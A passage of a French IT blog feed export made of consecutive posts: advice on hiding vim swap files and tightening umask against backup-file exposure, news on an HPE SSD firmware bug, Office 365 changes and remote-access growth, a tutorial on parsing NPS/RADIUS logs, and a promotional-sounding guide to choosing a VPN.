<p>Il suffira alors de configurer un crontab pour que ce script soit exécuté tous les jours par exemple.</p>
<h3>C. Le cas de vim</h3>
<p>Nous avons vu que <em>vim</em> créait pour des raisons plus que légitime des "<em>Swap Files</em>" au format <em>.swp</em> qui pouvaient être téléchargés pour obtenir le code source d'un script PHP par exemple. <em>Vim</em> étant un outil très puissant, nous pouvons résoudre ce problème de plusieurs façons.</p>
<p>On peut tout d'abord commencer par demander à vim de ne plus produire de fichier swap en ajoutant la directive suivante dans la configuration de vim <em>(/etc/vimrc</em> ou <em>/etc/vim/vimrc)</em> :</p>
<pre>set noswapfile</pre>
<p>Si ces fichiers ont toujours un intérêt pour vous, il suffit de demander à <em>vim</em> de ne plus le stocker dans le répertoire courant mais plutôt dans un répertoire à part, loin de l'arborescence web et de vos applications web, par exemple dans <em>/srv </em>:<em><br />
</em></p>
<pre>mkdir /srv/vim_swpfile</pre>
<p>On va ensuite modifier le fichier de configuration de vim <em>(/etc/vimrc</em> ou /etc/vim/vimrc) pour y ajouter les options suivantes :</p>
<pre>set backupdir=/srv/vim_swpfile
set directory=/srv/vim_swpfile
set undodir=/srv/vim_swpfile</pre>
<p>À présent, les fichiers temporaires tels que les swap ne seront plus créés dans le répertoire courant mais dans un répertoire fixe, celui spécifié dans la configuration.<del></del></p>
<h3>D. Umask : Limiter les droits</h3>
<p>Une autre méthode pouvant être mise en place va consister à limiter les droits de lecture sur les fichiers de backup créés de manière automatique ou manuelle. En effet, nous avons vu que lorsqu'un fichier était créé manuellement, les droits de lecture étaient par défaut en lecture pour tous les utilisateurs "<em>-rw-r--r--</em>". Cela vient en réalité des droits qui sont affectés par défaut sur un fichier nouvellement créé : <strong>l'umask</strong>. Cela signifie que, pour tout fichier créé par un utilisateur dans un contexte de configuration par défaut sous Linux, tous les utilisateurs peuvent lire ce fichier. Nous allons donc mettre en place un durcissement de l'umask pour corriger cela. Techniquement c'est assez simple.</p>
<p>On se rend dans le fichier <strong>/etc/login.defs</strong> pour mettre <em>"077"</em> au lieu de <em>"022"</em> sur le champ <em>"UMASK".</em> On va ensuite dans le fichier <em>/etc/pam.d/comm.session</em> rajouter la ligne suivante :</p>
<pre>session optional pam_umask.so</pre>
<p>En redémarrant votre session, vous pourrez voir que votre <em>umask</em> est à <em>077</em> et que les fichiers créés ne sont plus lisibles par les <em>"others"</em> :</p>
<pre>drwxr-xr-x 3 root     root      4096 juin  10 09:50 ..
-rw-r--r-- 1 www-data www-data   163 juin  13 15:56 .htaccess
-rw------- 1 root     root     11104 juin  13 17:16 index.bak    &lt;------ Illisible par apache(www-data)
-rw-r--r-- 1 www-data www-data 11104 juin  10 09:50 index.html</pre>
<p>Cela restreindra donc la lecture des fichiers de backups créés manuellement comme les <em>zip, sql, bak,</em> etc.. Mais ce n'est pas une mesure suffisante si elle est utilisée seule.</p>
<pre>root@debian:/var/www/html# umask -p
umask 0077</pre>
<p>Si vous souhaitez comprendre plus en profondeur le concept et le fonctionnement de l'umask, je vous oriente vers un autre article que j'ai écrit à ce sujet : <a href="http://www.it-connect.fr/gestion-de-lumask-sous-linux/" target="_blank" rel="noopener noreferrer">Gestion de l'umask sous Linux</a></p>
<h3>E. Le sysadmin/webmaster</h3>
<p>La meilleure des sécurité reste la prudence des administrateurs systèmes et des webmasters des sites et applications web. <strong>Plusieurs habitudes seront certainement à changer pour arriver à créer un contexte sécurisé</strong> vis à vis de la sécurité des fichiers de backup, comme par exemple :</p>
<ul>
<li>Éviter d'éditer les fichiers directement sur le serveur de production</li>
<li>Si ce n'est pas possible, éviter d'éditer les fichiers directement dans l'arborescence du serveur web mais plutôt travailler en mode copie depuis un autre répertoire</li>
<li>Lors de la création de backup de base de données ou de répertoire web, ne pas lancer les commandes de backups depuis l'arborescence web afin de ne pas stocker les .<em>sql</em>,  ou .<em>zip</em> dans l'arborescence web</li>
<li>Vérifier à deux fois qu'aucun fichier de sauvegarde (.swp, .bak) n'est laissé dans l'arborescence web à la fin de l'intervention...</li>
</ul>
<p>Quoi qu'il en soit, il est primordial d'utiliser l'une de ces sécurité, dans les meilleurs cas, il est préférable d'en combiner plusieurs pour avoir une sécurité plus robuste, qu'elles soient humaines et/ou techniques.</p>
<p>D'autres sources  d'informations à ce sujet :</p>
<ul>
<li>OWASP Testing guide v4 : <a href="media/bb0baa4d.OWASP_Testing_Guide_v4.pdf" data-original-source="https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf" target="_blank" rel="noopener noreferrer">OWASP Testing guide v4</a></li>
</ul>
<p>Nous avons fait le tour de ce sujet pour cet article, il y a sûrement beaucoup de choses supplémentaires à dire<strong>, si vous avez des conseils ou des suggestions, n'hésitez pas à les partager des les commentaires, ils aideront beaucoup de monde.</strong></p>


feed_id: https://www.it-connect.fr/?p=34810
title: HPE : attention, un bug firmware bloque des SSD !
uri: HPE-attention-un-bug-firmware-bloque-des-SSD
url: https://www.it-connect.fr/hpe-attention-un-bug-firmware-bloque-des-ssd/
content:
<p><strong>Après 40 000 heures d'utilisation, des disques SSD vont tomber en panne à cause d'un bug dans leur firmware, ce qui entraînera un arrêt de fonctionnement brutal et une perte de données.</strong></p>
<p>40 000 heures, cela représente au minimum 4 ans, 206 jours et 16 heures après la mise en service d'un disque SSD. D'après HPE, en tenant compte de la date de fabrication et de ventes des SSD concernés,<strong> les premières pannes devrait arriver à en octobre 2020.</strong></p>
<p>HPE prévient : « <em>Une fois le SSD compromis, ni le disque ni les données ne peuvent être récupérés</em> »</p>
<p><strong>Une mise à jour du firmware est disponible pour corriger ce bug et éviter la catastrophe.</strong> D'autant plus que si les disques sont dans le même serveur, ils auront le même temps d'utilisation et ils vont donc tomber en panne en même temps. RAID ou non, ce sera la catastrophe !</p>
<p>En Novembre 2019, un bug similaire sur d'autres séries de SSD s'était produit. Cette fois-ci, il y a moins de modèles concernés mais le problème est bien présent.</p>
<p><strong>Quels sont les modèles de SSD concernés par ce bug ? Tous les SSD qui disposent d'un firmware antérieur à la version HPD7</strong>. Cela concerne notamment les SSD "<em>HPE 800GB 12G SAS WI-1 SFF SC</em>" et "<em>HPE 1.6TB 12G SAS WI-1 SFF SC</em>". Pour connaître le nombre d'heures de fonctionnement de vos disques SSD, vous pouvez utiliser l'utilitaire <em>Smart Storage Administrator</em>.</p>
<p>Toutes les informations, notamment le firmware et la procédure d'installation, sont disponibles sur cette page : <a href="https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&amp;docId=a00097382en_us" target="_blank" rel="noopener noreferrer">HPE Firmware</a></p>


feed_id: https://www.it-connect.fr/?p=34813
title: Bande-passante : Microsoft ajuste les services d’Office 365
uri: Bande-passante-Microsoft-ajuste-les-services-d-Office-365
url: https://www.it-connect.fr/bande-passante-microsoft-ajuste-ses-services-office-365/
content:
<p><strong>Pour que ses services soient moins gourmands en bande-passante et en ressources, Microsoft a pris quelques mesures de précaution. Grâce à cet ajustement temporaire de certaines fonctionnalités Microsoft souhaite également assurer la stabilité de ses services.</strong></p>
<p>Faisons le point sur la liste des changements opérés cette semaine par Microsoft au niveau d'Office 365 et Microsoft 365.</p>
<p><strong>- SharePoint</strong></p>
<p>Les vidéos lues à partir de SharePoint auront une résolution réduite. Certaines actions back-end sont également ajustées, comme les migrations, afin de les exécuter sur des plages horaires spécifiques en fonction de chaque région.</p>
<p>📌 <a href="https://techcommunity.microsoft.com/t5/sharepoint-support-blog/awareness-of-temporary-adjustments-in-sharepoint-online/ba-p/1250603" target="_blank" rel="noopener noreferrer">Détails des changements SharePoint</a></p>
<p><strong>- Stream</strong></p>
<p>Au sein de son service de diffusion de vidéos, Microsoft a désactivé la fonction "People timeline". Cette fonction sert à détecter les visages automatiquement dans les vidéos afin de créer une timeline et faciliter le playback lorsque l'on visionne une vidéo pour retrouver l'intervention d'une personne.</p>
<p>Par ailleurs, l'enregistrement des vidéos est limité au 720p.</p>
<p><strong>- OneNote</strong></p>
<p>L'intégration de OneNote dans Teams passera en lecture seule pour les clients entreprise. Pour la partie Éducation, l'accès reste en lecture/écriture, ce qui n'est pas surprenant compte-tenu de l'importance du OneNote dans la gestion des classes via Teams. La modification par le web reste accessible pour tous.</p>
<p>Les fichiers joints seront synchronisés moins régulièrement et la taille de téléchargement est réduite (100 Mo).</p>
<p>📌 <a href="https://techcommunity.microsoft.com/t5/onenote-service-updates/awareness-of-temporary-adjustments-in-microsoft-onenote/m-p/1248100" target="_blank" rel="noopener noreferrer">Détails des changements OneNote</a></p>
<p><strong>Pour le moment, ces restrictions touchent OneNote, Stream et SharePoint mais Microsoft prévient que des mesures complémentaires pourraient arriver. A suivre, donc. </strong>Microsoft diffuse ses informations dans le Centre de messagerie accessible directement au sein de l'administration de votre tenant 😉</p>


feed_id: https://www.it-connect.fr/?p=34521
title: Serveur NPS (Radius) : configurer et analyser les logs
uri: Serveur-NPS-(Radius)-configurer-et-analyser-les-logs
url: https://www.it-connect.fr/serveur-nps-radius-configurer-et-analyser-les-logs/
content:
<h2>I. Présentation</h2>
<p><strong>Sur un serveur NPS, sous Windows Server donc, il est indispensable de bien configurer les logs afin qu'il soit facile de les récupérer. Nous avons la possibilité d'avoir des logs dans un fichier, mais aussi via l'Observateur d'événements de Windows.</strong></p>
<p>Personnellement, pour le fichier, j'aime bien utilisé le format "IAS" car on se retrouve avec un fichier texte avec les traces à l'intérieur, séparée par des virgules, ce qui le rend facilement exploitable : dans Excel, par exemple. Le problème avec le NPS, c'est que s'il est fortement sollicité il va créer des fichiers de logs très conséquent, et ça peut devenir la galère pour les ouvrir... C'est pour cette raison que j'ai tendance à le configurer afin qu'il génère un fichier de log par jour.</p>
<h2>II. Configurer les logs NPS</h2>
<p>Pour configurer le format des logs générés par NPS, il faut accéder à la console "<strong>Serveur NPS (Network Policy Server)</strong>" puis à la section "<strong>Gestion</strong>". On retrouve alors un bouton "<strong>Modifier les propriétés du fichier journal</strong>" sous "<strong>Propriétés du fichier journal</strong>".</p>
<p><img class="aligncenter size-full wp-image-34523" src="media/31e38e80.NPS_LOG_01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/NPS_LOG_01.png" alt="" width="639" height="552" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/NPS_LOG_01.png 639w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/NPS_LOG_01-550x475.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/NPS_LOG_01-150x130.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/NPS_LOG_01-160x138.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/NPS_LOG_01-50x43.png 50w" sizes="(max-width: 639px) 100vw, 639px" /></p>
<p>Une fenêtre s'ouvre... Accédez à l'onglet "<strong>Fichier journal</strong>", et à ce moment-là, je vous invite à définir un répertoire pour stocker les logs (vous pouvez conserver celui par défaut). Choisissez également le format "<strong>IAS (hérité)</strong>" et juste en dessous cochez "<strong>Chaque jour</strong>" si vous souhaitez qu'il y ait un fichier de log par jour.</p>
<p><img class="aligncenter size-full wp-image-34568" src="media/c9f884f7.nps_log_ias_full.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_ias_full.jpg" alt="" width="399" height="455" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_ias_full.jpg 399w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_ias_full-132x150.jpg 132w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_ias_full-140x160.jpg 140w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_ias_full-44x50.jpg 44w" sizes="(max-width: 399px) 100vw, 399px" /></p>
<p>Lorsque c'est fait, validez. Il ne reste plus qu'à redémarrer le service NPS pour être sur que ce soit bien pris en charge. Pour cela, ouvrez une console PowerShell et saisissez la commande suivante :</p>
<pre>Restart-Service IAS</pre>
<p>J'en profite pour vous indiquer que dans l'<strong>Observateur d'événements</strong> de votre serveur NPS, vous pouvez retrouver également des journaux liés à ce rôle. En fait, on les retrouve à l'emplacement suivant : <strong>Affichages personnalisés, Rôles de serveurs, Services de stratégie et d'accès réseau.</strong></p>
<p><img class="aligncenter size-full wp-image-34561" src="media/7920229c.log-nps-2354325325234.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/log-nps-2354325325234.jpg" alt="" width="500" height="289" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/log-nps-2354325325234.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/log-nps-2354325325234-150x87.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/log-nps-2354325325234-160x92.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/log-nps-2354325325234-50x29.jpg 50w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<h2>III. Comprendre les logs NPS</h2>
<p>Avoir des logs c'est bien, mais être capable de les interpréter c'est mieux. Le fichier texte généré par défaut sur un serveur NPS, bien qu'exploitable facilement, n'est pas pour autant facile à interpréter car il n'y a pas le nom des colonnes.</p>
<p>La bonne nouvelle, c'est qu'il existe <strong>un script PowerShell sur le Technet afin de parser et de mettre en forme ce fameux fichier de log au format IAS.</strong> Il s'agit du script "<strong>NAP_Logs_Interpreter.ps1</strong>" que l'on peut récupérer à cette adresse : <a href="https://gallery.technet.microsoft.com/MS-NPSRADIUS-Logs-b68af449" target="_blank" rel="noopener noreferrer">Interpreter logs NPS</a></p>
<blockquote><p><strong>Note</strong> : il existe une alternative, directement en ligne, où il suffit de coller les lignes de logs à analyser et elles seront mises en forme automatiquement. Le site est : <a href="https://iso.csusb.edu/tools/nps-log-interpreter" target="_blank" rel="noopener noreferrer">iso.csusb.edu/tools/nps-log-interpreter</a></p></blockquote>
<p>Nous allons maintenant utiliser le script PS1, mais il faut savoir que pour qu'il fonctionne il faut configurer les logs d'une façon spécifique : format IAS et un log par jour. Cela tombe bien, c'est ce que l'on a fait 🙂</p>
<p>Ce qui est intéressant avec ce script, au-delà du fait qu'il y ait le nom des colonnes, c'est que <strong>les codes d'état indiqué dans le fichier de log sont directement traduits en texte</strong>, ce qui est sans aucun doute plus facile à comprendre.</p>
<p>Par exemple, si type de paquet (<em>Packet-Type</em>) est à "<strong>1</strong>" dans le fichier de log, le script va directement indiquer "<strong>Packet-Type : Access-Request</strong>". Si le code est à "<strong>2</strong>" alors le texte sera "<strong>Packet-Type : Access-Accept</strong>", etc. Le script peut servir de documentation en même temps puisqu'il y a des tables de correspondances entre les codes et le texte associé, par exemple :</p>
<p><img class="aligncenter size-full wp-image-34570" src="media/49ebacb8.nps_log_interpreter_01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_interpreter_01.png" alt="" width="523" height="355" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_interpreter_01.png 523w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_interpreter_01-150x102.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_interpreter_01-160x109.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/nps_log_interpreter_01-50x34.png 50w" sizes="(max-width: 523px) 100vw, 523px" /></p>
<p>Pour exécuter le script, on peut :</p>
<ul>
<li><strong>Configurer la variable $logs en modifiant le script</strong>, il suffit de lui spécifier le chemin UNC vers le dossier qui contient les logs du serveur NPS. On en profitera pour <strong>mettre à jour la variable $Servers pour indiquer le nom du serveur NPS.</strong></li>
<li>Exécuter le script en spécifiant directement un fichier de log</li>
</ul>
<p>Par exemple, cela donne :</p>
<pre>.\NAP_Logs_Interpreter.ps1 -filename .\IN200305.log</pre>
<p>Ce qui retournera, au format liste, un objet par ligne :</p>
<pre>SwitchIP : 192.168.1.120
Username : host/PC-01.it-connect.local
Date-Time : 21:01:34 03/05/2020
RADIUS-Server : SRV-NPS
Packet-Type : Access-Challenge
Fully-Qualified-User-Name : it-connect.local/Ordinateurs/PC-01
Acct-Session-ID : 5E61049B-859BEE04
Session-Timeout : 60
Filter-ID : 4142
NAS-Port : 4108
Switch-IP-Address : 192.168.1.120
Connection-Request-Policy : Utiliser l'authentification Windows pour tous les utilisateurs
NPS-Policy-Name : AUTORISER-PC-ACTIVE-DIRECTORY
NAS-Manufacturer : 0
SAM-Account-Name : IT-CONNECT\PC-01$
Not_Documented : 1
Class : 311 1 192.168.0.100 03/05/2020 20:02:38 1
Reason-Code : IAS_SUCCESS
Switch-Friendly-Name : AP-WIFI-01
Authentication-Type : EAP</pre>
<p>On peut visualiser assez facilement différentes informations :</p>
<ul>
<li>Le nom du PC qui a tenté de se connecter (valeurs : <em>Username / Fully-Qualified-User-Name / SAM-Account-Name</em>) - On peut aussi ajouter la propriété <em>Workstation-Mac</em> pour voir l'adresse MAC</li>
<li>Le nom du serveur NPS interrogé (valeur : <em>RADIUS-Server</em>)</li>
<li>L'adresse IP du client Radius qui a relayé la requête auprès du serveur NPS, ce qui peut-être un switch, une borne Wi-Fi, etc. (valeurs : <em>SwitchIP / Switch-IP-Address</em>) et son nom (valeur : <em>Switch-Friendly-Name</em>)</li>
<li>Le nom de la politique d'accès NPS associée à la demande de connexion (valeur : <em>NPS-Policy-Name</em>)</li>
<li>Le type de paquet pour suivre l'échange entre l'appareil qui souhaite se connecter et le serveur NPS, ce qui sera très pratique pour le debug (valeur : <em>Packet-Type</em>)</li>
</ul>
<p>On remarque généralement la suite de requête suivante : <strong>Access-Request -&gt; Access-Challenge -&gt; Access-Request -&gt; Access-Accept </strong></p>
<p>Pour que le script affiche seulement les infos de base, avec notamment la date/heure, le nom du PC/utilisateur, l'hôte Radius, le nom de la politique NPS, le type de paquet et l'état de la demande, on peut spécifier le paramètre -BaseInfo à la fin de la commande. Ce qui donnera :</p>
<pre>.\NAP_Logs_Interpreter.ps1 -filename .\IN200305.log -BaseInfo</pre>
<p>Avec un retour sous forme de tableau épuré, ligne par ligne :</p>
<pre>Date-Time Username Workstation-MAC SwitchIP SwitchInterface NPS-Policy-Name Packet-Type Reason-Code
--------- -------- --------------- -------- --------------- --------------- ----------- -----------
21:01:34 03/05/2020 host/PC-01.it-connect.local 192.168.1.120 AUTORISER-PC-ACTIVE-DIRECTORY Access-Accept IAS_SUCCESS</pre>
<p>Voici, en complément, quelques exemples pour utiliser ce script.</p>
<ul>
<li><strong>Rechercher des données dans le fichier de log</strong></li>
</ul>
<p>Par exemple, cela peut servir à retrouver les logs d'un PC spécifique ou les requêtes d'un type spécifique, etc.</p>
<pre>.\NAP_Logs_Interpreter.ps1 -filename .\IN200305.log -SearchData "PC-01"</pre>
<ul>
<li><strong>Afficher les logs des 3 derniers jours</strong></li>
</ul>
<pre>.\NAP_Logs_Interpreter.ps1 -filename .\IN200305.log -SearchDays 3</pre>
<ul>
<li><strong>Afficher les logs condensé dans un seul tableau</strong></li>
</ul>
<pre>.\NAP_Logs_Interpreter.ps1 -filename .\IN200305.log -NotStreaming</pre>
<p>Cette vue est vraiment très pratique ! Testez vous verrez 😉</p>
<p>Bien sûr, les différentes paramètres que l'on vient de voir dans les exemples précédents sont cumulables, ce qui permet d'optimiser votre recherche dans les logs.</p>
<p>Avec des journaux correctement configurés et un script bien pratique pour rechercher à l'intérieur et interpréter plus facilement les logs, vous voilà bien équipé pour faire du <em>troubleshooting</em> sur votre serveur NPS 🙂</p>


feed_id: https://www.it-connect.fr/?p=34817
title: Microsoft retarde la suppression de ses certifications (MCSD, MCSE, MCSA)
uri: Microsoft-retarde-la-suppression-de-ses-certifications-(MCSD-MCSE-MC
url: https://www.it-connect.fr/microsoft-retarde-la-suppression-de-ses-certifications-mcsd-mcse-mcsa/
content:
<p><strong>En raison, une fois de plus de la pandémie du Covid-19, Microsoft a pris la décision de repousser la date de suppression de certains de ses certifications.</strong></p>
<p>Et oui, car trois certifications de chez Microsoft vont disparaître : <em>Microsoft Certified Solutions Developer</em> (MCSD), <em>Microsoft Certified Solutions Expert</em> (MCSE) et <em>Microsoft Certified Solutions Architect</em> (MCSA). Très populaires, elles seront remplacées par des formations orientées sur des métiers.</p>
<p>A la base, cette suppression était prévue pour le 30 juin prochain. Cela n'a pas était bien accueilli par les professionnels certifiés, compte-tenu de la situation actuelle ; Microsoft en a pris conscience. <strong>La suppression est repoussée au 31 janvier 2021</strong>, soit 7 mois plus tard.</p>
<p>Si vous préparez actuellement l'une de ces trois certifications, Microsoft indique que vous devez passer l'examen avant le 31 janvier prochain. Après il sera trop tard. Si vous l'avez obtenue avant cette date, la certification restera valide pendant 1 an. Pour ceux qui sont déjà certifiés, vous pouvez faire-valoir votre certification pendant 2 ans au maximum, après vous serez considéré comme inactif.</p>


feed_id: https://www.it-connect.fr/?p=34748
title: Quelles caractéristiques retenir lors du choix d’un VPN ?
uri: Quelles-caractéristiques-retenir-lors-du-choix-d-un-VPN
url: https://www.it-connect.fr/quelles-caracteristiques-retenir-lors-du-choix-dun-vpn/
content:
<p>Un réseau privé virtuel (<a href="https://www.it-connect.fr/quest-ce-qu-un-vpn/">VPN</a>) est utile pour toute personne intéressée à garder ses habitudes de navigation sur Internet privées. Qu'il s'agisse d'un gouvernement oppressif qui censure ce à quoi ses citoyens ont accès ou d'éviter les traqueurs publicitaires qui créent des profils de consommateurs, une solution VPN peut protéger les données des gens et offrir une expérience Internet gratuite et ouverte.</p>
<h2>Un grand réseau de serveurs géographiquement diversifié</h2>
<p>Pour espérer être considéré comme le <a href="https://www.vpnconnexion.fr/meilleur-vpn/" rel="dofollow">meilleur VPN</a>, il faut déjà que le service dispose d'un large réseau de serveurs répartis sur plusieurs sites et pays. Généralement, les meilleures options ont des milliers de serveurs disponibles, ce qui permet de choisir celui qui convient le mieux à un besoin particulier. <strong>L'emplacement géographique est particulièrement important si un utilisateur VPN veut contourner les verrouillages régionaux sur le contenu ou la censure du gouvernement local.</strong> Un grand réseau permet également de choisir les solutions qui ont un bon ping pour les utilisations sensibles à la latence, comme les jeux en ligne. Changer d'emplacement peut également être utile pour voir si les compagnies aériennes par exemple, et autres services à prix variable, modifient leurs tarifs en fonction de l'emplacement indiqué par le navigateur Internet.</p>
<h2>Le blocage d'annonces</h2>
<p>Les publicités peuvent facilement entraver la navigation sur de nombreux sites Web, avec des fenêtres contextuelles, des vidéos à lecture automatique et des publicités graphiques gourmandes en ressources. Les superpositions peuvent également rendre difficile, voire impossible, l'accès au contenu, en particulier sur les appareils mobiles. Un VPN peut automatiquement bloquer un grand nombre de ces publicités, offrant ainsi une couche de protection supplémentaire en plus du logiciel de blocage de publicités typique disponible sur de nombreux navigateurs Web. De nombreux fournisseurs de VPN qui incluent le blocage des publicités dans leur liste de fonctionnalités disposent également <strong>d'une protection contre le phishing et les logiciels malveillants intégrée.</strong> Comme ces types d'attaques deviennent de plus en plus fréquents en ligne, il est très utile de disposer d'une aide supplémentaire pour les éviter.</p>
<h2>Un chiffrement fort</h2>
<p>Les données doivent être chiffrées à l'aide du même type de technologie que celle utilisée par de nombreuses banques et autres institutions. Lorsque les données sont chiffrées lorsqu'elles passent de l'ordinateur de l'utilisateur au serveur VPN, puis à l'Internet public, <strong>elles deviennent indéchiffrables pour quiconque tente de voler ces données.</strong> Même s'ils obtiennent l'information, ils ne peuvent la comprendre sans la clé de cryptage utilisée par le fournisseur de services VPN. La technologie VPN utilise également un protocole spécifique pour gérer le trafic sortant sur leurs réseaux. Certains fournisseurs de VPN permettent aux utilisateurs de choisir le protocole qu'utilise leur connexion, ce qui peut être utile pour les personnes qui savent qu'un protocole différent est le mieux adapté à leurs besoins.</p>
<h2>Un VPN ergonomique</h2>
<p>Utiliser un VPN ne devrait pas être difficile. Une application conviviale explique clairement comment activer le VPN, généralement en un seul clic, et facilite également la configuration des paramètres avancés disponibles. <strong>Vérifiez aussi que le service VPN dispose d'applications pour tous les périphériques et systèmes d'exploitation qui auraient besoin de se connecter par son intermédiaire.</strong> Avec une solution multi-plateformes, vous pouvez utiliser le VPN aussi bien sur votre PC que sur votre smartphone : pratique. Les bons fournisseurs de VPN prennent en charge un large éventail de plates-formes et de types de périphériques, et certains ont même une prise en charge au niveau du routeur pour couvrir l'ensemble du réseau.</p>
<p>Les meilleurs VPN ont des caractéristiques qui vont au-delà de cette liste, mais ce sont les éléments les plus importants à rechercher lors d'une première sélection. Cela devrait vous aider à faire votre choix, tout en sachant qu'il y a différents sites qui proposent des comparatifs.</p>


feed_id: https://www.it-connect.fr/?p=34821
title: Microsoft change le nom de certains plans Office 365
uri: Microsoft-change-le-nom-de-certains-plans-Office-365
url: https://www.it-connect.fr/microsoft-change-le-nom-de-certains-plans-office-365/
content:
<p><strong>Lorsque Microsoft a introduit Microsoft 365 dans ses offres Cloud, c'était pour proposer un package avec Windows 10 et Enterprise Mobility + Security (EMS) en plus d'Office 365. Ce qui était vrai jusqu'ici, ne va plus l'être car Microsoft a décidé de renommer certains de ses plans Office 365 en Microsoft 365.</strong></p>
<p>Même si certaines offres vont changer de nom,<strong> le prix quant à lui ne changera pas, et les services inclus resteront les mêmes</strong>. Autrement dit, même si le nom de vient "Microsoft 365", Windows 10 et EMS ne seront pas inclus car cela restera exclusif à certains plans.</p>
<p>Tous les plans ne vont pas changer de nom, voici les changements opérés par Microsoft :</p>
<p>- Office 365 Business Essentials -&gt; Microsoft 365 Business Basic<br />
- Office 365 Business Premium -&gt; Microsoft 365 Business Standard<br />
- Microsoft 365 Business -&gt; Microsoft 365 Business Premium<br />
- Office 365 Business -&gt; Microsoft 365 Apps for business<br />
- Office 365 ProPlus -&gt; Microsoft 365 Apps for enterprise</p>
<p><img class="aligncenter size-full wp-image-34822" src="media/b29bb4b0.office-365-new-plans-names.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names.jpg" alt="" width="800" height="270" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names-550x186.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names-768x259.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names-160x54.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/office-365-new-plans-names-50x17.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Ces nouveaux noms seront visibles automatiquement à partir du 21 avril 2020 pour ceux qui utilisent ces offres</strong>. Comme je le disais, tous les plans Office 365 ne sont pas concernés, et notamment les offres populaires comme Office 365 E1, E3 et E5 pour l'entreprise et Office 365 A1, A3 et A5 pour l'éducation. En résumé, voici les plans dont les noms resteront les mêmes (pour le moment) :</p>
<p><strong>Office 365 pour l'Entreprise</strong><br />
- Office 365 E1<br />
- Office 365 E3<br />
- Office 365 E5</p>
<p><strong>Office 365 pour "Firstline Workers"</strong><br />
- Office 365 F1</p>
<p><strong>Office 365 pour l'Education</strong><br />
- Office 365 A1<br />
- Office 365 A3<br />
- Office 365 A5</p>
<p><strong>Office 365 pour le </strong><b>Gouvernement</b><br />
- Office 365 G1<br />
- Office 365 G3<br />
- Office 365 G5</p>
<p>Le message que Microsoft souhaite faire passer, c'est qu'avec son offre Cloud, les services inclus vont au-delà d'Office à savoir Word, Excel et PowerPoint. En effet, ces offres intègrent d'autres services comme OneDrive, Stream, Planner, Forms ainsi que l'incontournable Teams.</p>
<p><a href="https://www.zdnet.com/article/microsoft-to-rebrand-some-office-365-commercial-plans-as-microsoft-365/" target="_blank" rel="noopener noreferrer">Source</a></p>


feed_id: https://www.it-connect.fr/?p=34827
title: Télétravail : +41% pour le RDP, +33% pour le VPN
uri: Télétravail-41-pour-le-RDP-33-pour-le-VPN
url: https://www.it-connect.fr/teletravail-41-pour-le-rdp-33-pour-le-vpn/
content:
<p><strong>Avec la généralisation du télétravail, l'utilisation des services d'accès distant s'est fortement développée ces dernières semaines. En tête de liste : les accès Bureau à distance "RDP" et les accès VPN.</strong></p>
<p>L'utilisation du RDP a progressé de 41% depuis le début de la pandémie du Coronavirus, en se basant seulement sur les serveurs exposés sur le port par défaut (3389). D'après les données compilées par Shodan,<strong> le nombre de serveurs RDP exposé sur Internet est passé de 3 millions à 4,4 millions.</strong> Ce qui est décevant et dramatique, c'est que les serveurs soient exposés sur le port par défaut, directement sur Internet. Sur le port 3388, souvent utilisé pour masquer le service RDP, la progression est similaire : de 60 000 à 80 000.</p>
<p><strong>Pour la partie VPN, la progression est également conséquente puisque l'on est passé de 7,5 millions de systèmes à près de 10 millions sur la fin mars.</strong> Cela fait référence aux accès VPN basés sur différents protocoles comme IKE/PPTP, et surtout aux accès distants entre le PC d'un collaborateur et le réseau de son entreprise.</p>
<p>Dans le même temps, les solutions VPN destinées au Grand public connaissent également une forte hausse. A cause du confinement, certaines personnes cherchent à contourner le contenu bloqué géographiquement pour pouvoir y accéder (et faire passer le temps). <strong>Par exemple, chez NordVPN on signale une croissance de 165% depuis le 11 mars.</strong></p>
<p><a href="https://blog.shodan.io/trends-in-internet-exposure/">Voir l'article Shodan</a></p>


feed_id: https://www.it-connect.fr/?p=34617
title: OneDrive et les fichiers à la demande
uri: OneDrive-et-les-fichiers-à-la-demande
url: https://www.it-connect.fr/onedrive-et-les-fichiers-a-la-demande-files-on-demand/
content:
<h2>I. Présentation</h2>
